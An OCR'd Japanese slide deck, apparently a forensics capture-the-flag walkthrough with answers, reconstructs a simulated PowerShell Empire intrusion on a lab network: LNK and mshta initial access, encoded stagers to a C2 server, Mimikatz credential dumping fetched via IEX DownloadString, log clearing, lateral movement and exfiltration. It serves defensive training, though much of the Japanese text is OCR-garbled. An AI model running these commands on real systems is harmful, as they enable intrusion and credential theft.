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AR D T PowerShell Empire

https://www.powershellempire.com/

[Empire] Post-Exploitation Framework

[Version] 3.4.0 BC Securi ity Fork | [Web] https://github.com/BC-SECURITY/Empire

er GUI | [Web] https://github.com/BC-SECURITY/Starkiller

[Starkiller] Multi-Us
o« AU
ANDFIZ X B8
45

307 modules currently loaded

o PCJ:O) 70 O ‘I’_’Zé@] %Eﬂ l:_') 75\':_?_ é 1 listeners curren tly E-u:‘tive

4 agents currently active

EDRB4 (InfoTrace Mark Il) H 5 emnirer + B
EEIRRZEZBALMNZTBHHEIEELC



PowerShell Empire 2 %I/ L 7= (& 7 v — 7 f3]

e FINTO
o https://www?.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf

o Wizard Spider

o https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/

e APTI9
o https://cyber.gc.ca/en/euidance/lateral-movement-frameworks-powershell-empire
e APT33

o https://www fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html

%32 - https://attack mitre.org/software/S0363/

Freepik www.flaticon.com
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3.4 Lateral Movement
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#1 Initial Access

HNEEDE X 2 U T ¢ BB ST 20 5 B E 7 L — 7 DloClEH (IP7 K
LA 13112252[.127) ) =G L7z, ZOE®RE S UL TFOMICE 2 X,

#1770 UNDOT O RN, ZOIPT RLAIZT 7 A LT & &OURLAZ
z & A5)

H2WEEE LT 7 A NVD Ny 3 =2 B (sha256) 122 (15)

#13 BWENBOmAEZHIET 22— REEVIAEFNHREOURLEZE 2 L (245)



#1 Initial Access - Answer(1)

#1.1 http[:]1//3.112.252[.]127/upa
IEA : ws03
o 7 : sn=31078

10/15/10/15/2020 16:40:26.841 +0900 sn=31078 evt=ps subEvt=start com="ws03" usr="shiina"

usrDomain="AD" psPath="C:¥Windows¥System32¥mshta.exe" cmd="http[:]//3.112.252[.]27/upa"
psID=3964 parentPath="C:¥Windows¥explorer.exe"

#1.2 £12810e0033a3286490eaeff75a7bb40d1eb03934d01224c4a3c457561591c04
T AN Va2 ——5 T 5T Ink

10/15/2020 16:39:55.818 +0900 sn=31061 evt=file subEvt=close com="ws03" usr="shiina"
usrDomain="AD" psPath="C:¥Windows¥explorer.exe" path="C:¥Users¥shiina¥Downloads¥> 1 — %
—MNoHIT FEER¥D 1 ——h b HIT_FEm.Ink" read=2224 write=0 zonelD=3

sha256=f12810e0033a3286490eaeff75a7bb40d1eb03934d01224c4a3c457561591c04 size=2224
new=0 (FEIV!v I LIz&EDAY (ExplorerlZTfile.close. write=0) )




#1 Initial Access - Answer(2)

#1.3 http[:1//54.199.38[.1178:443/login/process.php

PowerShell Cbase64® =1— R A Gt A IAA TEITL TV 5D

10/15/2020 16:40:27.059 +0900 sn=31085 evt=ps subEvt=start com="ws03" usr="shiina"

psPath="C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" cmd="-noP -sta -w 1 -
enc SQBMACJA...

base6ax T 2— KT HELLT :

$ser =
$([TEXT.EnCODINnG]::UNicODe.GetSTriNG([COnVerT]::FromBaSE64StrING('aABOAHQACAABACS

http[:]//54.199.38[.]178:443

ALWA1ADQALgAXADKAOQAUADMAOAAUADEANWA4ADOANAAOADMAY));
$t = '/login/process.php’;



#/ Pre-Lateral Movement

#2  WEFH T KRHHZICLL T OWT N EIT> T\ 5,

T END 2 GRIEE - e KEATEIEIIIE], 258)

1 RAA oy ha—F—DA X2 ka7 OH|Ikk
iK’f‘)L'ﬂﬁknun TH$&®5V7O
3NAT— R R NI

0T NOHERTE LD
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#/ Pre-Lateral Movement - Answer (1)

#2 2 KEifb ERGETEHRO X T
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#/ Pre-Lateral Movement - Answer (2)

o ki l

I
=
f

[

Ay 2 — )L A A7 TPowerShell 234 H9:00(Z &35 L 95X IE

10/15/2020 16:47:22.655 +0900 sn=31511 evt=ps subEvt=start os=Win com="ws03" usr="shiina"
psPath="C:¥Windows¥System32¥schtasks.exe" cmd="/Create /F /SC DAILY /ST 09:00 /TN Updater
ITR " C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -Nonl -W hidden -c ¥"IEX

([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64 String((gp
HKCU:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug)))¥""" psID=7372
parentPath="C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" psUser="shiina"
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#7 Pre-Lateral Movement - Answer (3)

o ti rﬁﬁ%@ H&

base64% 7 = — R4 % L Invoke-MimikatzpslZ &% 71— N L CHEIT L, AL
WAEGL TWNDZ EMEZD
10/15/2020 17:03:11.010 +0900 sn=31967 evt=ps subEvt=start com="ws03" usr="shiina"

psPath="C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" cmd="-noP -exec
Bypass -enc SQBFAFgAIAACAE4AZQB3ACOATWBIAGOAZQBIA...

base6st> 7 2 — KT BH L LT :

IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-

SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz
-Command privilege::debug; Invoke-Mimikatz -DumpCreds;

13



#/ Pre-Lateral Movement - Answer (4)

RIEMOBERE1 AL ar bu—F =04~ b7 OHIER
A X2 b v 7 ORI RS STV e
o ¥=aT7/WZevtID=1102 (A~ huZOHIER) bitdklL TWD Z & AFnH
o UTDOXoZpa~y ROREITINIIBHD 72\ (UL T iEPetyad i)
o cmd.exe [c "wevtutil cl Setup & wevtutil cl System & wevtutil cl Security &
wevtutil cl Application”

ARIEFEDOBERE 3 AU — R X &

074 RS REER S LTV R

o ¥=aT /U evtlD=4625 (2 VA R LEtEk L TWD I L vitE
B VARARNEHAWERRT—=RT X v 7 bR bEERSI N D137
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#3 Lateral Movement

#31 wsOI~DRFEIZONAZ L Erol-a l A4 N Thin A 2%z X,
HAZWE T TRV (8FFEFET. =2 XU0) o (1)

#32 wsOICARETrERZEENTAHARICHH SN —EARRAIT? Q)

#33  fileOl~ DR IZHIH S 7= WindowstE MEFSH OBERE X 2 RN PR Tld7e
<V BHTHLT VT 7Ny bRXFE (FBA) 37 THEE L, 1)

#34 AileONZHEBT ABRICHIHEINT=T U AL ?2 (15)
R A A 4CNetBIOSA T4 M L Cit#i4 5

15



#3 Lateral Movement - Answer

#31 17:13:41
(ws01; sn=24600)

#3.2 Pretender
(ws01; sn=24598)

#33 WMI
(fileO1; sn=20043)

#34 okabe
(file01; sn=20031%%)

10/15/2020 17:13:41.113 +0900 sn=24600 evt=session subEvt=loginR
com="ws01" domain="AD" usr="shiina"
(Ws03M 7 A > kshiinahws0llzA4S 4 > LTLV3S)

10/15/2020 17:13:41.110 +0900 sn=24598 evt=reg subEvt=setVal os=Win
com="ws01" psPath="C:¥Windows¥System32¥services.exe"
path="HKLM¥SYSTEM¥ControlSet001¥Services¥Pretender" entry="DisplayName"
valType=REG_SZ valStr="Pretender"

10/15/2020 17:35:03.507 +0900 sn=20043 evt=ps subEvt=start com="file01"

psPath="C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe"

cmd="-noP -sta -w 1 -enc SQBGACgAJABQAFMAV...

parentPath="C:¥Windows¥System32¥wbem¥\WmiPrvSE.exe" psUser="okabe"
(WmiPrvSE.exe (WMI Provider Host) A’PowerShellZ#EFUH L TLYVS)

10/15/2020 17:35:03.437 +0900 sn=20031 evt=0s subEvt=evtLog com="file01"
channel="Security" evtReclD=5719 evtID=4624 evtMsg="An account was
successfully logged on." evtUsr="okabe" evtDomain="AD.FUTURE-GADGET.LAB"
logonType="Network(3)" wsName="-" wslp="192.168.101.101" wsPort=49838




#4 Exfiltration

#4

WEENGR L7 7 A VOLEINL? (EF b i)

(150)
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#4 Exfiltration - Answer

# 85 FEEEL Y (IR) .odt

HETowv A LA T Ao’ —

10/15/2020 17:41:37.291 +0900 sn=20122 evt=ps subEvt=start o0s=Win com="fileO1"
psPath="C:¥Windows¥System32¥cmd.exe" cmd="/c copy C:¥Share¥Develop¥&R¥EH> = v b¥85 FTiEL

> (r) .odt C:¥Windows¥Temp"
parentPath="C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" psUser="okabe"

7 7 A IVEFEL (PowerShell?S 7 7 A IV FEIAA T 412, C2~TF — X E(E)

10/15/2020 17:42:29.502 +0900 sn=20134 evt=file subEvt=close com="file01"
psPath="C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" path="C:¥Windows¥Temp¥3
5 FJEL Y () .odt" drvType=HDD read=142681 write=0 zonelD=3 size=142681 new=0

10/15/2020 17:48:40.389 +0900 sn=20169 evt=net subEvt=dcon com="file01"
psPath="C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" srclP=192.168.101.12
srcPort=49748 dstIP=54.199.38.178 dstPort=443 recv=323818 send=330282
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#to Attack Sequence

#5 S EIOPEIRDID D LD BAELI-AXN M ERERY|TERE L (45)
27 DALY 1T, Wo, EZT, ERN, M2 LEDohonsd X HIicEL
Z &

1)
-12:00 B RX 22—V 7 H v FADBNZBIW T, <V = 7T
-12:05 iKY = —H% 7 7 v FBOIMZ ST L T, AR ZIZ Lateral Movement
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#to Attack Sequence - Answer

o 16:39 WS03 shiinaZd ¥ = — v —n b6 bl 7‘ _HThE dh.zipZ 3[.1112.252.27 75%5? U a— %

\ 4= =
D . A [} ablha ‘ ~ e —7] =W/ EIVN a 2 = a o ‘EE = 2 H ’

SaAv sEmie = =gy N . D4 O o

~ Y = TR
o 16:47 WSO03 shiina® 2 7 ¥ = — /L ¥ 2 7 & ARk Lk ik
e 17:03 WSO03 shiinaz’Invoke-Mimikatz.ps1% T Credential Dump % 31T
17:13 WS03 shiina23WS01i(ZshiinaTw 774> L, #EFEH b P — B RA F4T L Lateral
Movement
17:17 WS01 SYSTEM7S R /7 ¥ =2 — )L % 2 7 ZAERR Lk et
17:18 WSO01 SYSTEM 7> Invoke-Mimikatz.psl % f T Credential Dump % 31T
17:35 WS01 SYSTEMASWMI % AV > TFILEO1iZ okabe T H 27 A > L Lateral Movement
17:41 FILEOI okabe7>FILEO1 CTC:¥Share¥Develop¥ ARk ¥ = v F¥85 _Eifil v ¥ (k) .odt
Z C¥Windows¥Temp (Z = B —
e 17:42 FILEOI okabe?’ C:¥Windows¥Temp¥&E gL ¥ (k) DOFRFXZIMTICFHEHHL
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#b Possible Controls

#o KT A TITONTIEHEBEADK K E L TEZLNLD DD E2OIB K
(255 x 2, #t45)
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#b Possible Controls - Answer

(=122 151)
e PowerShell?>5 DE(E 2 2L 135

o Z4h. GitHub~D@fE7 v v 73BN ..
X T AT THI Y NDONRAT— RE T X AT A
o 2%%) LAPS(Local Administrator Password Solution)
m  https://msrc-blog microsoft.com/2020/08/26/20200827 _laps/

B 2 BRI D
N==T AU AR LUVBHINZEORANT S

22



#1 Bonus

#T WBENOD A v —U N LEREATERINL TS, NBEETEZ L,

(145)
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#1 Bonus - Answer

#7 Thank you for playing. Hacking to the Gate

10/15/2020 17:47:41.593 +0900 sn=32693 evt=ps subEvt=start com="ws03" usr="shiina" usrDomain="AD"
psPath="C:¥Windows¥System32¥cmd.exe" cmd="/c echo " Thank you for playing. Hacking to the Gate"™

psID=6288 parentPath="C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe"
psUser="shiina"

24



PAIRDFEI

(ws03)

Ta——nb BT
Hrid 5 Ink R B TR
YA MNZT 7R,

PowerShell(Z
TE S UG

a— KN

#2 Pre-Lateral
Movement

#3 Lateral
Movement

(ws03)
7K‘f‘)u’ﬂﬁ/nu M fﬁ?&%%‘?ﬂ?

(ws03/ws01/file01)

ws03->ws01->file01(Z

AR BA

#4 Exfiltration

(ﬁleOl)
8= HEEL Y

(TEL) odt ZEEL L C2
IZEAE
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BOBETH 12 K2 e




IZC Iz

o S MIIMWS Cup /EffI D72 ¥ IZNFLabs. CHEHE L 72 &

ELAENNWIZ BB A S

o HEHHUBKEBEFEWebY — 3, BELIC2HY—N, & LT Amazon EC2 ZfEH L7275,

BLPHANWL SO T 78 2B L OEHBEREE) S OSSHA AlF

Enterprise Network
192.168.101.0/24
ad.future-gadget.lab

Ws01
Windows 10 Enterprise 1703
192.168.101.101

Firewall / IDS -

OPNSense
192.168.101.1

WSs02
Windows 10 Enterprise 1703
192.168.101.102

~
=
EDE&
shiina

WS03 DCo1
Sales Windows 10 Enterprise 1703 Windows Server 2016 Standard
192.168.101.103 192.168.101.10

7R X DT 7 & AT LT

Attacker Network
(AWS EC2)

Web Server
Amazon Linux
3.12.252.27

C2 Server
Kali Linux 2020.2
54.199.38.178
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FEET

2N

BUEANWIAT o T BFELRI LETH, BHLRVTIEZSW

®
o VAT LEHEDFHAILL ZTNNSRITT TR/ EITTEE. [RET 7 v 2 TR DI
TSR DR (AR D AIREES B D £
m  https://elaws.e-
gov.go.jp/search/elawsSearch/elaws_search/lsg0500/detail?lawld=411AC0000000128
o IEXNLRHMHRLS IO T HITRHEIT %6, MIEFRTERBIREICE T L3R (2

oL 5 AIREME2 8 D £

m  https://elaws.e-
gov.go.jp/search/elawsSearch/elaws_search/lsg0500/detail?lawld=140AC0000000045#740

o FYURHMANDVKELRTLAIL. B TETERESCEHEICH 2 E
STERETOYDEL XD



https://elaws.e-gov.go.jp/search/elawsSearch/elaws_search/lsg0500/detail?lawId=411AC0000000128
https://elaws.e-gov.go.jp/search/elawsSearch/elaws_search/lsg0500/detail?lawId=140AC0000000045#740

WEA O HEY

o XxIIFA L~ L DL LTND

o LDHLAHWFEMEE (T48) DNEA LT OEEREHSLEBEbNAEFL Y
DEIFRIZKH LT=6 LV, EDEREAFLE

o W/ THIMMICEFL MBS LI EBAREN, FomiTiz< e

o LHDLHTRIIWMERIZIBEAL, FHHREAFLTETHLY

e Operation Empire @577

K EHLMRBOFETHY, ZOFETT 7 a L THYEMRTT
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#0 Recon

FZRIZETAERIIATOZ EnbhroTizE 15

shiina 1Z ¥ =2 — 3 —RFEHIT T =

hashidalZITV 7 7 > —REmW

Z AW TClE Windows2 Mt 2o41, Libre OfficeMEE oL TuN 5

okabe & hashidalZ B ARIED Y FIZ A A REEKIZIT - T T RITATE
shiina 1Z ¥ =2 — 3 —REHIT N IF =
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#0 Weaponize

shiinazJH > 72 2 —3 =L BIFTOFFEREIT DO RX 2 A b7 714 MIZ

.2 BInk” 7 A V& Bk

R va-pvk bFUT 2BE wia LEONA-VaY

IrI-DEE:  3-FIvE (Ink)

EnLIzh Micresoft(R) HTML FFUS—23v miAk

y-HeBlf_FEROT0ITS
Y3-Mwbh w¥aUFs BE wva LEON-Uay

Ja-y-Heslf_FmEs

FIVT-33y

Ua%(M): LTSN S kY mshta.exe http://3.112.252.27/upa

31



#0 Weaponize

o E[RIEOLNIEHBEFIEELTICH Vv —F Bk
e PowerShell EmpireZ F| ] L 72AERAI K 22 - LAC WATCH
o  https://www.lac.cojp/lacwatch/people/20170807_001352.html

® cravr mamamucss

{Z LAC WATCH REAWE
Sa-RYU-R H-ER BV vF2UTRNRME  ORME  RWE

FNFNOT7ANERTWERTE, FTINKTZ Z7AILIEDWTIE. NotePadicit o<
Windows¥a—hhy K77V 7AAVEFRF>TWETH, FRHREY Y V% E UTHTML
Application (HTA)Z R{TY 2 #AEZ FDmshta.exedIP7 KL X (80[.]209[.]252(.]70) %3|¥
ELUTHEEEShTWET. (K4)

ZOIPICERTHE. HTAZZ7AIUHY 90— K&, mshta.exeENLTRITENET,
(E5)

o, URBEIR, R—P43/TCPEFIALETH. HTTP BEZAALTWRZ LHERTE
E 3

o1 2017_BHISRTOIS L.0tDTT/ T+ =
28 | va-bob [Zint | bxaus« e | Lwon-Jas

) 2017 BHUKET0I5L 1t
1 PRy -vas
BP system32

YLHFETY [C:¥Windows¥system32¥mshta exe http://80.209 252 7(

PERI2 N5 —(S)

va-bwb
20 &L



#1 Initial Access (WSO3)

e shiinaCTnr /4

e Web” 7 U (Microsoft Edge) %\ THWEEZH O — N (3[.]112.252.27) %
HAWT [V a— =06 _Fikhzip) 247> —R

o [Va—1—bdIT FEimink] 27V v

e » is PC » Downloads » ¥1—%—MaET ko

3 Quick access
[ Desktop
* Downloads

Documents
[&] Pictures
J!! Music

m Videos

33



#1 Initial Access

e mshtaexe http://3[.]112.252.27/upa 7N FE{T 41T, stagerx ¥ 7 12— R

Accept—Encoding: gzip, deflate
User-Agent: Mozilla/4.@ (compatible; MSIE 7.@; Windows NT 18.8; Win64; x64; Trident/7.@; .NET4.8C;
Host: 3.112.252.27
Connection: Keep-Alive

.NET4.R8E)

HTTP/1.@ 280 0K
Server: SimpleHTTP/@8.6 Python/3.7.9
Date: Thu, 15 Oct 2020 @7:40:26 GMT|
Content-type: application/octet-stream
Content-Length: 5291
Last-Modified: Thu,

15 Oct 2020 86:34:54 GMT

html><head><script>var c= 'powershell -noP -sta -w 1 -enc
SQBmACgAJABQAFMAVgBFAFIAUWBIAEBATgBUAGEAQgBsAGUALgBOAFMAVgBLAFIAcwBIAEBATgAUAEBAYQBgAGBACgAgACRARWBFACAAMwWAPAHSAT
AAZADgANgAZADBAWWBYAEUARgBAACAAQQBTAFMAZOBNAGIATABSAC4ARWBFAFQAVABZAFAAZQAOACCAUWBSAHMACAB LAGBALgBNAGEADbgBhAGCAZQ
BtAGUAbgB@ACAAQQBLAHQAbDWBtAGEAdABPAGEBADgAUAFUAdABPAGWACWANACKALgALAECAZQBUAEYASQB LAGAADABKACIAKAANAGMAYQB ] AGgAZQE
kAEcAcgBvAHUAcABQAGBAbABpAGMAe(BTAGUAdABBAGKkAbgBNAHMAIWASACCATgANACSAIWBVAGAAUABLAGIADABpAGMALABTAHOAYQBRBAGKAYWAN|
ACKAOWBIAGYAKAAKADYAOAAZADYAKQB7ACQAMOBmMAEUANWASACQANgAJADYANgAUAECAZQBUAFYAYQBsAFUAZQACACQADbgBVAEWADAADAD sASOBGA
CgAJAAXAGYAZQA3SAFsAIWBTAGMACgBpAHAAdABCAC CAKWANAGwWAbWE j AGSATABVAGCAZWBpAGAAZWANAFBAK]B7ACQAMOBMAGUANWBDACCAUWB j AH
IAaQBwAHQAQgANACSAJWBSAGBAYwBrAEwAbwBNAGcAaQBuAGcAIwBdAFsAIwBFAG4AY QB LAGWAZQBTAGMAcgBpAHAADABCAC cAKWANAGWADWE j AGs|
ATABVAGCcAZWBpAGAAZwWANAFBAPQAWAD s AJAAXAEYARQA3AFsAJWBTAGMACgBpAHAADABCAC cAKWANAGWADWB j AGSATABVAGCAZWBpPAGAAZWANAFBA
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#1 Initial Access

o stagerx X Vv — Nfh, BEFC2Y—/3(54[.1199.38178) ~7 7 & A )35/

o £, http[:]//54199.38.178:443(login/process.php ~7 7 & A
o FDtk, SHWEBEIZCQ2Y— 1L OBEENMTHhILD
2020-10-15 16:408:26.810403 192.168.1681.183 500080 3.112.252.27 8@ HTTP 331 GET fupa HTTP/1l.1

2020-10-15
2020-10-15
2020-10-15
2020-10-15

2020-10-15
2020-10-15
2020-10-15
2020-10-15
2020-10-15
2020-10-15
2020-10-15
2020-10-15
2020-10-15

2020-10-15
2020-10-15
2020-10-15
2020-10-15

16:40:26.891823
16:40:28.850875
16:40:28.207039
16:40:28.681227
16:40:28.894659
16:40:29.885297
16:40:29.305178
16:40:34.543400
16:40:34.752901
16:40:40.099031
16:40:40. 249095
16:4@:45.256376
16:40:45.390462
16:40:50.424705
16:40:50.570681
16:4@:55.600172
16:4@:55.767138

3.112.252.27
192.168.101.103
54.199.38.178
192.168.101.103
54.199.38.178
192.168.101.103
54.199.38.178
192.168.101.103
54.199.38.178
192.168.101.103
54.199.38.178
192.168.101.103
54.199.38.178
192.168.101.103
54.199.38.178
192.168.101.103
54.199.38.178

192.168.101.183
54.199.38.178
192.168.101.183
54.199.38.178
192.168.101.1803
54.199.38.178
192.168.101.103
54.199.38.178
192.168.101.1803
54.199.38.178
192.168.101.103
54.199.38.178
192.168.101.103
54.199.38.178
192.168.101.103
54.199.38.178
192.168.101.183

HTTP

HTTP/1.@ 200 OK

GET /login/process.php HTTP/1.1
HTTP/1.1 280 OK (text/html)
POST /admin/get.php HTTP/1.1
HTTP/1.1 280 0K (text/html)
POST /news.php HTTP/1.1
HTTP/1.1 280 0K (text/html)
GET /login/process.php HTTP/1.1
[TCP Previous segment not capture
GET /admin/get.php HTTP/1.1
HTTP/1.1 2808 0K (text/html)
GET /login/process.php HTTP/1.1
HTTP/1.1 2808 0K (text/html)
GET /login/process.php HTTP/1.1
HTTP/1.1 2808 0K (text/html)
GET /admin/get.php HTTP/1.1
HTTP/1.1 2808 0K (text/html)
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#1 Initial Access

e Empire @ Listener DX

DefaultDelay
DefaultJitter
DefaultLostLimit
DefaultProfile

True
True
True
True

5 Agent delay/reach back interval (in seconds).
0.0 Jitter in agent reachback interval (0.0-1.0).
60 Number of missed checkins before exiting

/admin/get.php,/news.php,/login/ Default communication profile for the agent.
process.php|Mozilla/5.0 (Windows

NT 6.1; WOW64; Trident/7.0;

rv:11.0) like Gecko
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#1 Initial Access (WS03)

S =
UTle

o /Uy ITHE, agenthBF U m— RSC2H— NITHz
o E[@ENDHWS03DHNENFIRE & 72 5

[+] Initial agent AHTMDIWF from 172.16.129.11 now active (Slack)

(Empire: ) > agents

Name La Internal IP Machine Name Username Process
AHTMDIWF ps 192.168.101.183 WS03 *AD\shiina powershell
(Empire: ) > interact AHTMD1WF

(Empire: ) > 1

YL

PID  Delay

6328 5/0.0

37



#2 Pre-Lateral Movement (WS03: Discovery)

e WindowstE¥#E a2~ NI L DEREDMA

systeminfo : OS D & I EE

whoami /all : BifE 7 7 A4 > L T\ B 22— {FHRINE

ipconfig: & > ~ U — 7 [FE#INE

tasklist: 3217 L T\ 5% 7 &2 & X DR

net user /domain: R A A 2 —% DffEid

net group /domain: N X A > 7 /L —7 DffEs

net group "Domain Admins" /domain : Domain Admins Oz

e ZZ:JPCERT/CC [HEF )M T 5 Windows=~ > K|
o https://blogs.jpcert.or.jp/ja/2015/12/wincommand.html

© 0O O O O O O
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User Name SID

Everyone

BUILTIN\Administrators

BUILTIN\Users

NT AUTHORITY\INTERACTIVE

CONSOLE LOGON

NT AUTHORITY\Authenticated Users

NT AUTHORITY\This Organization

LOCAL

AD\Sales

Authentication authority asserted identity
Mandatory Label\High Mandatory Level

Type

Well-known
Alias
Alias
Well-known
Well-known
Well-known
Well-known
Well-known
Group
Well-known
Label

group

group
group
group
group
group

group




#2 Pre-Lateral Movement (WS03: Discovery)

o RNAAUEHFZDHMEFE (net group “Domain Admin” /domain)
o shiina |% F X A V& BE TIL72 0

Group name Domain Admins

Comment Designated administrators of the domain
Members

Administrator hashida okabe

The command completed successfully.
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operatingsystem
operatingsystemversion
lastlogoff
objectcategory
dscorepropagationdata
serviceprincipalname

lastlogon
iscriticalsystemobject

usnchanged
useraccountcontrol
whencreated
primarygroupid
pwdlastset

msds-supportedencryptiontypes :
: WSe1
: ws@l.ad.future-gadget.lab

name
dnshostname

: Windows 10 Enterprise
: 10.0 (15063)

: 1/1/1601 9:00:00 AM

: CN=Computer,CN=Schema,CN=Configuration,DC=ad,DC=future-gadget,DC=1ab
: 1/1/1601 12:00:00 AM
: {WSMAN/ws@1, WSMAN/ws@1l.ad.future-gadget.lab, TERMSRV/WSQ1,
TERMSRV/ws@1.ad. future-gadget.lab. ..}

: 10/15/2020 4:36:36 PM

: False

: 45085

: WORKSTATION_TRUST_ACCOUNT
: 8/18/2020 12:04:31 PM
<2515

1 8/20/2020 2:10:18 PM
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#7 Pre-Lateral Movement (WS03: Persistence)

o

o

BHI0IZEITEIND AT Y 2a— )V H AT ZVERK

LA kU ¥HKCU¥Software¥Microsoft¥Windows¥CurrentVersion¥debug (Z
5’ Pt HY | Base6d7T a— R LA 7 VT N2 FET (7 A VL R)
Initial Access THEAT St HPowerShell D2 7 U 7" | LIZIEF U

C:\Users\shiina»reg query HKCU\Software\Microsoft\Windows\CurrentVersion /v debug

HKEY_CURRENT_USER\Software\Microsofti\Windows\CurrentVersion

debug REG_57 SQBmACSAJABQAFMAVEBFAHIACWBIAGBATEBUAEEAYSBSAGUALBOAFMAVEE]
WBFACAAMWAPAHSAIAAZADEANEAZ ADBAMWE yAEUAZ pBAACAAQQBz AFMAZ OBt AGTAbBABSACAARWBFAFQAVABS
gBhAGCAZQBTAGUAbEEBACA4AQQOB1AHQAbWE TAGEAdABPAGBAbEAUAFUAdABPAGWACWANACKALBATAECAZQBL
QBEkKAECACgBVvAHUACABQAGESABABPAGMARQBTAGUAdABBAGKAbEENAHMAIWASACCATEANACSAIWBVAGAAUAB]
WBJAEYAKAAKADYAOAAZADYAKQB7ACQAMOBMAEUANWASACQANZA4ADY ANEAUAECAZQBBAFYAYQBMAFUAZQAC
QAZAFsAJWBTAGMACgBpAHAADABCACCAKWANAGWAbWE JAGSATABVAGCAZWBpAGAAZWANAFBAKQB7ACQAMQBG
WBsAGBAYWErAEWAbBWEBNAGCAaQBUAGCAIWBdAFsAJWBFAGAAYQBIAGWAZQBTAGMACEBpAHAAJABCAC CAKWAN
QAWADSAIAAXAEYAZQASAFSAJWBTAGMACEBpAHAAJABCAC CAKWANAGWADWE JAGSATABVAGCAZWBpAGAAZWAN
ABBAEIAbABVAGMAaWE JAGAAdEBVAGMAYQBBAGKABWBUAEWAbBWEBNAGCAAQBUAGCAIWBdADBAMABOACQAVEBE
WAUAECAZQBOAGUACEBIAGMAL pEEAEKAYWEBAEKAbWBOAGEACEBSAFSACWBUAHTIAGQBUAECALABTAFKAUWBE
gBlAFcAKAAPADSAIABWAGEADAAUAEEARABKACEAIWBFAGAAYQBIAGWAZQBTAGMACEBpAHAADABCACCAKWAR
AAPADSAJABZAGEATAAUAEEAZABEACEAJWBFAGAAYQBIAGWAZ QBTAGMACEBpAHAADABCAGWAbWE JAGSASQBU
gBEnACCALAAWACKAOWAKADEAREELADCAMWANAESASWEFAFKAXWEMAESAQWEBAEWAXWBNAEEAQWEIAEKATSER

ZEEXRAENTT—

)



Hostname: ws@3.ad.future-gadget.lab / S-1-5-21-953590954-1235050912-4260368985

A, mimikatz 2.2.0 (x64) #19041 Oct 4 2020 10:28:51
A ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )
o\ / ## > https://blog.gentilkiwi.com/mimikatz
“#i#t v ## Vincent LE TOUX ( vincent.letoux@gmail.com )
" > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : @ ; 247256 (00000000:0003c5d8)

Session : Interactive from 1
User Name : shiina
Domain : AD
Logon Server : DCo1
Logon Time : 10/15/2020 4:20:41 PM
SID : S-1-5-21-953590954-1235050912-4260368985-1604
msv
[00000003] Primary
* Username : shiina
* Do i - AD
* SHA1 : a8fcce2add528a9c5fde33blb4ad@aee2bS5fdac9
* DPAPI : 9fcelf7ab384e21229a767c1a71809a7




#72 Pre-Lateral Movement (WSO3: Credential Access)

o NTLM/ v a%RET AL ..
o NRATU—RNRY T —%-LTWVWTH, "y YaBRmBLTROMNANNATY— RIZEL 2WT
ERC!

7dfa0531d73101ca080c7379a9bff1c7

QI~rTt QHE OHE Ok O yvaveyy

34 (0.29%)

www.experts-exchange.com » questions: T DR—J%ZIRT

Solved: How are passwords stored in Active Directory ...

2018/03/21 —{7dfa0531d73101ca080c7379a9bff1c7 P@sswOrd123!
16936944fa1c4964a8abe7d2ddc3c432 P@sswOrd1234 25cb75fb3f857de4bb08feddca639d2d
P@ssw0rd12345 eadOcc57ddaae50d876b7dd6386fa9c7 P@ssword1




2020-10-15 08:07:24 :
Tasked agent to run module powershell/situational_awareness/network/powerview/find_localadmin_access

2020-10-15 08:07:28 :
Job started: 1WHR7L

2020-10-15 08:09:33 :
ws@3.ad. future-gadget.lab
file@l.ad. future-gadget.lab

s@l1.ad.future-gadget.lab




#3 Lateral Movement (WSO3 -> WSO1

e Invoke-PsExec

(@)

A AT, UE— FDO~ Yy (WS01) TH—b & (Pretender) % FE4T

Options:
Name

Agent
Listener
Obfuscate

ObfuscateCommand

AMSIBypass
AMSIBypass2
ComputerName

ServiceName
Command

ResultFile
UserAgent
Proxy

ProxyCreds

Required

True
False
False

False

False
False
True

True
False

False
False
False

False

Value

AHTMD1WF
http
False

Token\AlL1\1

True
False
wse1

Pretender

default
default

default

Description

Agent to run module on.

Listener to use.

Switch. Obfuscate the launcher
powershell code, uses the
ObfuscateCommand for obfuscation types.
For powershell only.

The Invoke-Obfuscation command to use.
Only used if Obfuscate switch is True.
For powershell only.

Include mattifestation's AMSI Bypass in
the stager code.

Include Tal Liberman's AMSI Bypass in
the stager code.

Host[s] to execute the stager on, comma
separated.

The name of the service to create.
Custom command to execute on remote
hosts.

Name of the file to write the results to
on agent machine.

User-agent string to use for the staging
request (default, none, or other).

Proxy to use for request (default, none,
or other).

Proxy credentials
([domain\Jusername:password) to use for
request (default, none, or other).
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#2 Pre-Lateral Movement (WSOT: Discovery, Persistence)

o WS03LiZEA LU

O 0O 0O O O O o O

systeminfo : OS D & I EE
whoami /all : BifE 2 74 LTV 5 2 — B {FHRINEE
ipconfig: % > ~ U — 7 {FERINEE
tasklist: 3217 L T\ 5% 7 &2 & X DR
net user /domain: R A A 2 —% DffEid
net group /domain: N X A > 7 /L —7 DffEs
=1

net group "Domain Admins" /domain : Domain Admins &2

R a— VB AT BVERR
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#7 Pre-Lateral Movement (WSOT: Credential Access

e GitHub”» b Invoke-Mimikatzpsl 4 7> 12— KL TY 7 A /L L AT
o okabe®DCredential (NTLM /N> > =37 >~ h T& 7=

TR mimikatz 2.2.0 (x64) #19041 Oct 4 2020 10:28:51
